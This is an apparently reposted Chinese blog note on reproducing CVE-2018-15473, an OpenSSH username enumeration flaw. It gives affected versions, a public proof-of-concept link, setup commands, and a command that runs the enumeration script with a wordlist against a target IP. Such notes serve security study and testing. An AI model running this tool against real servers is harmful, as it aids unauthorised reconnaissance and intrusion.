文章目錄

• • 影響版本
  • POC鏈接
  • POC環境配置
  • Payload
  • 復現

CVE-2018-15473（OpenSSH用戶枚舉漏洞）復現筆記

影響版本

該影響自1999年以來至今年7.7版本中所有版本，遠程攻擊者可利用漏洞猜測在OpenSSH服務器上注冊的用戶名

POC鏈接

https://github.com/1stPeak/CVE-2018-15473

POC環境配置

git clone hhttps://github.com/1stPeak/CVE-2018-15473.git cd CVE-2018-15473

注意：如果您在kali上安裝，則可以跳過pip安裝；paramiko已經存在

Payload

./ssh-username-enum.py -p 51022 -t 10 -w /usr/share/wordlists/metasploit/peak_user.txt 目標IP

復現

總結

以上是生活随笔為你收集整理的CVE-2018-15473（OpenSSH用户枚举漏洞）的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。